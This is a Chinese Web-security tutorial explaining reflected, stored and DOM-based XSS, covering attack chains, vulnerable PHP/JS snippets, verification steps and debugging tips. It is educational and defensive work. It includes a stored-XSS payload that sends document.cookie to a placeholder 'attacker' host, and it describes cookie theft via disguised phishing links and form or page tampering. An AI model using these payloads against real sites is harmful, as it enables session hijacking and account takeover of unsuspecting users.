ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS核心原理与分类详解:反射型、存储型、DOM型一次讲透

XSS核心原理与分类详解:反射型、存储型、DOM型一次讲透

写这篇文章之前,我在某次内部复盘时听到一句很扎心的话:我们聊了半天的“入门到精通”,结果连一张弹窗都没弹出来。说的就是在场某位同事第一次接触 XSS,拿了一个号称“通杀”的 payload,跑了半天要么被转义,要么弹不出来,最后才发现自己连“反射型”和“存储型”都没分清楚。其实这很正常,XSS 入门最大的障碍不是看不懂代码,而是不知道它到底在哪个环节“断”了。这一篇我们就专门把核心原理和分类讲透,先把攻击逻辑理顺,后续再谈绕过、防御和修复才会顺。

这篇内容适合刚入门 Web 安全的读者,也适合写业务代码但对安全边界不敏感的开发者。我会从浏览器怎么决定“谁是谁”开始,把反射型、存储型、DOM 型 XSS 的攻击链路分别拆开,最后会给一到一线的排查经验。弄懂这些,面试也好、实战也好,至少不会在分类判断上翻车。

1. 先搞清楚 XSS 的“底层逻辑”:数据如何变成代码

1.1 浏览器怎么决定谁是代码

要理解 XSS,首先要接受一个扎心的事实:浏览器本身并不认识“信任边界”这种东西。它眼里只有两件事:HTML 结构里标记为代码的部分,以及文本内容部分。我们把前者叫“解析上下文”,后者叫“数据上下文”。当一段输入被塞进 HTML 里,被标签字符“激活”成了解析上下文,它就从数据变成了代码。

举个例子,你写一个留言板,用户提交的内容是一行文字,服务端直接把内容拼到<p>标签内部:

<p>用户留言内容在这里</p>

浏览器解析时,<p>里面默认是文本,即使内容里有<script>,在多数情况下也不会直接执行。但问题在于,很多开发者习惯把数据拼到 HTML 里,而且还没有做任何处理。这时候如果拼接位置变了,情况就完全不同。

比如某些搜索页面会把关键词拼到 HTML 属性里,或者拼到事件属性里:

<input value="用户输入" onmouseover="...">

用户输入里如果包含"><script>alert(1)</script>,闭合引号和标签之后,整个输入就被翻译成了新的标签,浏览器按代码去解析,弹窗就来了。说白了,XSS 不是“程序跑飞了”,而是浏览器老老实实地把攻击者编造的数据当成了页面结构的一部分。

1.2 XSS 的通用触发条件

落到根源上,XSS 能成立需要同时满足三个层面上的条件:

条件一:输入数据能到达前端输出点。不管是经过服务器后端模板拼接,还是纯前端的 DOM 操作,只要用户可控内容最终出现在 HTML 里,就具备了传播的基础。

条件二:输出点处于不安全的上下文。同样是输出到 HTML,输出在<div>文本区、输出在<script>代码区、输出在 HTML 属性里、输出在 URL 属性里,需要的 payload 完全不同,能利用的程度也完全不同。这也是后面“分类判断”时最容易踩坑的地方。

条件三:浏览器对“编码后内容”没有二次识别或修复。比如有的开发者确实做了 HTML 实体编码,但编码只针对<和>,却没处理引号。结果属性里的注入依然存在。再比如现在主流浏览器对<script>标签的解析已经严格很多,但同样的 payload 放到 SVG、MathML、iframe 等元素里又能绕过过滤。

这三个条件缺一个都弹不起来。理论上讲,“只要有用户输入到达 HTML 输出点”就该被当成潜在风险,但实际代码里这类点太多了,所以分类的意义更多是为了评估优先级:哪个点最容易被利用、影响面多大、需要多高级别的过滤。

1.3 攻击者与受害者的角色划分

XSS 的分类,本质上是从“数据流经路径”和“攻击者与受害者交互方式”两个维度来切分的。我先说一个容易混淆的地方:很多新手以为 XSS 攻击者是“黑客本人”,受害者是“服务器”。其实 XSS 的攻击者通常是“外部输入的构造者”,受害者是“打开页面的普通用户”。

原因很简单:XSS 的最终执行发生在浏览器端,它不是攻击服务器程序本身,而是利用服务器参与拼接的机会,把恶意代码送进用户的浏览器。这三个角色必须清晰:攻击者负责构造恶意输入;服务器(或前端逻辑)负责无意识地拼接;浏览器负责解析并执行。分类的不同,只是“谁把 payload 送进来了”“payload 能被多少人看到”这些因素在变化。

2. 反射型 XSS:最直观的“一次性攻击”

2.1 反射型攻击链路

反射型 XSS 也叫非持久型 XSS,它的核心特征是:恶意输入不会被长期保存,而是通过参数提交给服务器,服务器把参数直接拼到响应页面里返回,瞬间执行完就消失。就像你去快递柜取件,别人预先往包裹里塞了件危险品,你取出来打开,危险品立刻生效,你随手把包裹壳一扔,证据就没了。

攻击链路通常是这样:

  1. 攻击者构造恶意 URL,把 payload 放在查询参数或路由参数中。
  2. 诱导受害者点击该 URL,浏览器向服务端发起请求。
  3. 服务端从请求中取出参数,拼接到响应 HTML 里,返回给浏览器。
  4. 浏览器解析响应,恶意 payload 作为代码执行。

这里面有一个关键认知:受害者点击的 URL 是你构造的,而不是服务器的正常 URL。攻击者要把这个 URL 传播出去,方式很多:发在评论区里、放在聊天消息里、伪装成短链接,甚至直接塞进钓鱼邮件。所以反射型 XSS 的攻击者必须诱导受害者“主动”访问恶意链接,相对被动。

2.2 典型场景与代码示例

最常见的反射型 XSS 场景是搜索栏。页面通常会显示“您搜索的关键词是:xxx”,而这个 xxx 直接拼进了 HTML。我用一个极简模拟项目 X 来展示:

<?php $keyword = $_GET['keyword']; echo '<p>您搜索的是:' . $keyword . '</p>'; ?>

受害者如果访问:

http://example/page.php?keyword=<script>alert(document.cookie)</script>

服务端拼出来的 HTML 就变成:

<p>您搜索的是:<script>alert(document.cookie)</script></p>

浏览器解析这个响应时,<script>里的代码被认为是合法脚本,直接执行。这里还需要纠正一个误区:现在 Chrome 等浏览器对“直接响应里的<script>执行”确实做了不少防御,但这不代表漏洞没了。攻击者可以把 payload 写在事件属性里,写成普通文本的编码形式,或者结合 iframe 等方式绕过很多限制。弹窗只是验证存在的手段,真正的攻击往往不需要弹窗。

2.3 反射型为何“看似无害,却能打穿内网”

很多非安全岗位的开发容易低估反射型 XSS,理由无非是“我自己又不会点这种链接”。但真实攻击里,反射型的价值在于它能配合身份利用。举个例子,某公司内部系统的会话 Cookie 没有标记 HttpOnly,攻击者只要诱导内部员工点击一个恶意链接,就能拿到员工在当前系统里的 Cookie,以员工身份登录后台。

在模拟项目 Y 里,我曾经做过一次完整验证:攻击者构造恶意 URL,伪装成正常的“系统升级通知”,因为有域名的可信前缀,员工基本不会怀疑。点击后 payload 把 Cookie 发到攻击者收集页面,攻击者随即用这份 Cookie 登入系统,整个过程不涉及任何漏洞利用工具,全是浏览器正常功能。这也就是为什么我说“看似无害”才是反射型真正的危险所在:它借用了人的信任,也借用了浏览器对域名的信任。

3. 存储型 XSS:最致命的后台潜伏者

3.1 存储型的攻击链路

存储型 XSS 也叫持久型 XSS,恶意输入会被服务端保存到数据库或者文件系统中,之后任何用户访问包含该内容的页面,都会被触发。打个比方,反射型是“一次性快递炸弹”,存储型则是“你在共享办公室的白板上贴了一张写着咒语的纸条,每一个坐在这工位上的人都会念一遍”。

攻击链路的关键差异在于多了一个持久化节点:

  1. 攻击者把恶意内容提交到某个能长期保存的数据入口,如留言板、昵称、个人信息、反馈表单。
  2. 服务端把内容写入数据库,没有做正确的输出编码。
  3. 其他用户或管理员访问相关页面,服务端从数据库读取内容并拼接到 HTML。
  4. 每个浏览该页面的用户都中招。

这说明什么?存储型 XSS 的攻击者可以在不诱导特定受害者点击特定链接的情况下,实现“广撒网”。只要受害者访问了承载恶意内容的页面,攻击就自动发生。真实场景里,攻击者常常把 payload 藏在用户昵称或者个人简介里,因为这类字段在后台管理页面中会被多处渲染,触发范围和频率远超普通留言。

3.2 典型场景与数据库流转

最常见的存储型 XSS 场景是评论功能。模拟项目 Z 的评论存储逻辑大概是这样:

<?php $content = $_POST['content']; $sql = "INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, ?)"; // 数据库写入未做任何过滤和转义 ?> <!-- 输出时直接拼HTML --> <div class="comment-content"> <?php echo $comment['content']; ?> </div>

攻击者提交的评论内容为:

<img src=x onerror="fetch('http://attacker/steal?cookie=' + document.cookie)">

其他用户浏览评论列表时,浏览器尝试加载x这个不存在的图片,触发onerror事件,fetch 请求把当前用户的 Cookie 发送到了攻击者服务器。如果页面没有使用 HttpOnly Cookie,这份 Cookie 就能直接进行会话伪造。更严重的情况是,攻击者插入的 payload 在后台管理页面中被渲染,管理员账号一旦中招,影响范围会直接扩大到服务器权限层面。

3.3 存储型的危害为什么比反射型高一个量级

我始终觉得,如果只能给一个“危害等级”对应关系,存储型应该默认比反射型高一个量级,原因有三个:

第一,传播机制完全不同。反射型需要受害者点击特定链接,存储型只需要受害者“正常浏览”。后者更接近无差别攻击,普通用户几乎无法防范。

第二,管辖范围更广。存储型的内容被读取多少用户就会感染多少用户,如果保存的是用户昵称,那所有包含昵称的页面都是触发点,攻击面很分散,排查难度自然也大。

第三,利用深度更深。存储型 payload 可以配合蠕虫式传播,比如自动在评论区继续发同样的恶意内容,形成连锁反应。这虽然不是常态,但危害边界明显超出“偷个 Cookie”的层面。

所以,面对存储型漏洞,我的建议从来都是一句话:输出编码是底线,输入校验只是缓解,绝不能把“过滤了特殊字符”当成防护完事。

4. DOM 型 XSS:不碰服务器,一样能中招

4.1 DOM 型与传统 XSS 的本质差异

DOM 型 XSS 经常被初学者和反射型搞混,因为它的参数也可以出现在 URL 上。但两者的本质差异非常明显:反射型和存储型的输出拼接发生在服务端,是服务端把不可信内容装配进 HTML 返回给浏览器;DOM 型的整个流程全部发生在浏览器端,服务器返回的静态 HTML 脚本里,含有动态读取参数并修改页面结构的 JavaScript 代码。

也就是说,服务端完全没有参与拼接。你用 Wireshark 抓包,请求和响应里都没有明显的恶意代码,恶意代码是浏览器本地执行后,由 JavaScript 动态写入到 DOM 中的。这也是为什么很多传统的 WAF 和 Web 日志分析工具对 DOM 型 XSS 几乎无感,因为服务端看到的只是正常的 URL 参数,payload 不经过服务端拼接到响应。

4.2 典型 DOM 型场景

DOM 型 XSS 的高发场景几乎全在前端动态渲染:URL 参数读取、location.hash读取、postMessage消息监听、innerHTML/outerHTML动态赋值、document.write写入等。我举一个最典型的例子:

<script> // 伪代码,模拟某前端页面中的实际逻辑 const params = new URLSearchParams(window.location.search); let q = params.get('keyword'); document.getElementById('searchResult').innerHTML = '您搜索的是:' + q; </script>

如果 URL 是:

http://example/page.htm?keyword=<img src=x onerror=alert(1)>

那么innerHTML会把整段字符串当作 HTML 解析渲染,img标签加载失败触发onerror,脚本执行。注意这里的 URL 后缀是.htm,整个过程中服务器只返回了同一份静态文件,恶意内容从未进入服务端存储或拼接,但浏览器照样执行了。

4.3 DOM 型的隐蔽性与调试难点

在实际安全测试里,DOM 型 XSS 最让人头疼的不是构造 payload,而是定位“哪个 JS 文件在哪个位置读取了哪个参数并写入了哪个 DOM 节点”。因为现代前端项目往往经过打包压缩,代码被混淆到只剩一行,你看到的是类似这样的片段:

const url=new URL(location.href),t=url.searchParams.get("q");document.querySelector("#app").innerHTML=t;

这种问题在开发阶段很难暴露,测试人员通过手动点击页面又很难触发。我的经验是先利用浏览器开发者工具的“搜索”功能,全局搜索location.search、location.hash、innerHTML、document.write、eval等关键节点,逐个打条件断点,再看调用栈。工具层面,直接用浏览器自带的渲染器就能逐步定位。等把污染源和汇聚点找到之后,判断分类就非常轻松了。

5. 攻击逻辑核心:注入点、传播路径、执行点

5.1 三要素拆解

不管反射型、存储型还是 DOM 型,所有 XSS 攻击都绕不开三个核心要素:注入点、传播路径、执行点。理清这三者,你就能在实际检测中快速判断“这个点有没有戏”。

注入点是攻击者能把恶意内容送进去的地方,比如 URL 参数、请求头、POST 表单、数据库字段。传播路径是数据从注入点到达执行点之间经过的链路,可能经过服务端、数据库、前端脚本,也可能直接在浏览器内流转。执行点是真正被浏览器当作代码解析渲染的具体位置,可能是某个<script>块、事件属性、CSS 表达式或者能加载外部资源的标签。

用这三要素套一下分类:反射型是“注入点=URL 参数,传播路径=服务器拼接,执行点=HTML 标签块”;存储型是“注入点=数据库字段,传播路径=服务器读取+拼接,执行点=任意展示位置”;DOM 型是“注入点=URL/hash/存储接口,传播路径=前端脚本读取,执行点=innerHTML/document.write”。这样套完之后,分类就不再是死记硬背了。

5.2 如何用一个“XSS Payload 生命周期”串起分类

我们假设一条完整生命周期,把所有分类串起来。攻击者先找一个用户可控的输入点,输入内容被保存到数据库,然后管理员后台读取数据库并渲染,其他用户访问时执行。这一整条链路就是存储型。如果把中间“保存到数据库”这一步去掉,用户直接通过构造链接触发服务端拼接并返回执行,就是反射型。如果连服务端拼接都不参与,全凭前端脚本把 URL 参数变成 DOM 节点,那就是 DOM 型。

我在实战中最常用来帮助新人理解分类的一句话是:问一下 payload 在到达浏览器之前去了哪里。它可能一直藏在数据库里,可能只在 URL 里过了一圈,可能根本就没上过服务端。去回答这个问题,分类就不会搞错。所谓“攻击逻辑核心”,其实就是搞清楚数据和代码在各个节点之间转换的路径而已。

5.3 分类不是死的:交叉组合与变种

必须提醒一点:不要把三类 XSS 当成互不相交的独立类型。现实中大量漏洞是交叉的。比如存储型 XSS 落在前端模板里通过 DOM 操作渲染,这就是存储型与 DOM 型的混合体;反射型 XSS 如果输出点位于服务端返回的 JSON 里,由前端 JS 读取后innerHTML拼到页面,那就是反射型加上 DOM 型链路。分类讨论的意义更多是帮助我们明确检测视角和修复优先级,而不是给漏洞“贴一个唯一的标签”。

曾经有一位前辈给我讲过一句话,我一直记到现在:“你最终要盯住的是执行点,不是注入点。只要执行点不安全,入口再怎么变,问题根源都是同一个。”这也是为什么我写这篇文章的时候,选择把执行点放在分类逻辑之后来讲,因为如果你先理解了执行点,反过来再去看注入点和传播路径,一切都是顺的。

6. 不同分类的验证与检测思路

6.1 反射型的验证流程

验证反射型 XSS 只要确认以下条件:你构造的 payload 是否原封不动(或经过可还原的编码)地出现了响应页面里,且出现的位置是否有成为代码的可能。最标准的流程是:

  1. 找一个带参数且回显的页面,比如搜索页、错误页、排序参数页。
  2. 先输入一串普通唯一标识,如qatest123,确认它出现在响应页面的哪个 HTML 上下文中。
  3. 使用专门针对该上下文的简单 payload 测试。比如在文本上下文里用qatest123<script>alert(1)</script>,在属性上下文里用qatest123"><script>alert(1)</script>。
  4. 观察响应,确认闭合是否生效。

这里有一个常见失误:新手一上来直接挂<script>alert(document.cookie)</script>,根本不管输出点在哪个上下文,失败了就判定“没有漏洞”。这不是正确姿势。正确姿势是先看输出点位置,再选择合适的闭合前缀,后续我会再讲。

6.2 存储型的验证流程

验证存储型 XSS 分两步:写入和触发。先找一个能够保存内容的功能点,提交一段带唯一标识的测试 payload,然后用另一个账号或退出登录的状态去访问该内容被渲染的页面。如果触发成功,意味着任意普通用户访问也会触发,危害确认。

我建议专门记录“写入的原始值”和“渲染后的 DOM 结构”。很多时候数据库里保存的内容和页面渲染后的内容不一样,中间可能经过一次转义或过滤。这些细节决定了后续修复方式,也决定了漏洞等级判定是否准确。还有一个细节:存储型 XSS 如果存在于“仅管理员可见”的字段中,那影响对象就是管理员,虽然威胁面小,但危害并不低,因为管理员权限一旦被接管,影响会直接放大到整个系统。

6.3 DOM 型的验证流程

验证 DOM 型 XSS 的关键是“能否在不改数据包的情况下触发”。我用三步法来操作:

第一步,找到候选入口,也就是所有能影响 DOM 的敏感函数,如innerHTML、outerHTML、document.write、insertAdjacentHTML、eval等。第二步,在浏览器的开发者工具里手动修改当前页面的 URL 参数或 hash,观察这些函数执行后的 DOM 变化。第三步,以“触发点是否执行”为准判断漏洞,而不是以“数据包响应里有没有 payload”为准。

这里我要特别吐槽一个错误习惯:有人用自动化扫描器扫出一个带script的响应,就认为是 XSS。但是你把扫描器结果拿来一看,脚本在页面源码里,执行点却在开发者工具的存储区里,根本不构成漏洞。这种“扫描器误报”在 DOM 型场景里尤其多,因为扫描器无法理解前端 JavaScript 执行状态。

6.4 分类判断速查表

判断维度反射型存储型DOM 型
恶意代码是否保存到持久化存储否是否
服务端是否拼接输出是是否
受害者是否必须点击链接是否,访问相关页面即可多为是,但链接触发点可多样
典型入口URL 参数、搜索框留言、昵称、评论、文件上传元数据location.search、hash、postMessage
典型执行点服务端模板输出的 HTML 块任意被渲染的存储内容位置innerHTML、document.write、eval
调试难点闭合上下文容易判断错触发面太广,定位保存位置难前端代码压缩混淆,定位入口难

这张表的用途不是让你背,而是在做测试时对照自己的判断逻辑。如果你能对着一个“疑似 XSS 点”逐项回答出这些维度,分类基本不会出偏差。

7. 实战中常见的问题与排查技巧

7.1 为什么明明“弹窗了”,却没法利用

很多新手刚接触 XSS,验证方式就是弹窗。弹出来就以为漏洞可用了,结果发现后面要做 Cookie 窃取,怎么都拿不到。原因往往在于 Cookie 被标记了HttpOnly。HttpOnly的意思是禁止 JavaScript 通过document.cookie访问 Cookie,所以攻击者虽然能在页面上执行脚本,但脚本拿不到会话凭证。这不是 XSS 漏洞不成立了,而是“进一步利用”的方式要换。

遇到这类情况,我的建议是把思路从“偷 Cookie”转向“改页面”。比如可以动态修改表单提交地址、在页面中插入钓鱼框架、模拟用户操作发起转账请求,这些攻击不依赖 Cookie 读取,照样能实现完整控制链。换句话说,XSS 的利用能力从来不只体现在“偷 Cookie”一个动作上,页面里能做的越多,XSS 的危害就越大。

7.2 过滤、转义与编码:为什么 payload 总被破坏

测试过程中“payload 被破坏”是家常便饭,破坏来源可能是 WAF、服务端过滤器或者浏览器本身的解析规则。常见的破坏形式包括:<和>被转成&lt;、&gt;;关键字script被替换成空;单双引号被转义;alert被加入“安全外衣”;甚至整个参数被截断。

排查时要先明确一点:过滤发生在服务端还是浏览器端。如果是服务端转义,那就需要观察响应里 payload 的原始形态;如果服务端输出正常,是浏览器端脚本把内容二次解析后才被拦,那就要重点检查前端框架的自带转义机制。调试时可以先用最简单的 payload,如<b>test</b>,确认 HTML 标签是否生效,再把复杂功能逐步往上叠加。一层层加,才能知道哪个字符在哪一步被处理掉了,而不是一把梭。

7.3 定位“执行点”的技巧

线上排查老系统的 XSS,最大的痛点是代码量太大,你根本不知道每个参数最终去了哪个 DOM 节点。我的经验是建立两张地图:一张是“入口地图”,记录所有能接收用户输入的页面和参数;另一张是“出口地图”,记录所有可能被拼接渲染的 DOM 操作点。然后从入口开始,逐步追踪数据流。

针对大型项目,我通常直接在浏览器开发者工具里给敏感函数设置断点。比如对innerHTML设置全局断点,再把可疑参数在 URL 中改成一个唯一标记,触发页面加载。断点会直接告诉你是谁调用了innerHTML,调用栈里就能看到完整的函数链。这比瞎翻代码快得多,而且不会漏掉压缩混淆后无法阅读的逻辑。这一步没有特别多技巧,就是“断点 + 调用栈 + 参数回溯”。

8. 最后再分享一个实操体会

每次给团队做 XSS 分享,我最怕听到的问题不是“能不能利用”,而是“这个漏洞到底该怎么分级”。很多人特别纠结细节,觉得分类错了别人就会质疑专业能力。但以我的经验,分类只是手段,不是目的。你花三天时间确定一个漏洞是反射型还是 DOM 型,不如花一个晚上确认这个漏洞能影响多少个用户、能不能拿到管理员权限、需不需要用户交互。漏洞分级更多取决于影响范围和环境触发条件,而不是分类本身。

还有一个小技巧送给正在学这块的读者:把自己当成“最坏情况的用户”。写代码的时候,不要问“用户会不会在这里输入恶意内容”,要问“如果用户在这里输入了恶意内容,会发生什么”。带着这个问题去审查代码,你会发现很多原本看不见的出口点都会浮出水面。记住一句话,XSS 不是黑客技术,它是浏览器、服务器和开发者三方默认信任的必然代价。这个核心逻辑不改变,XSS 就永远有生存空间。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进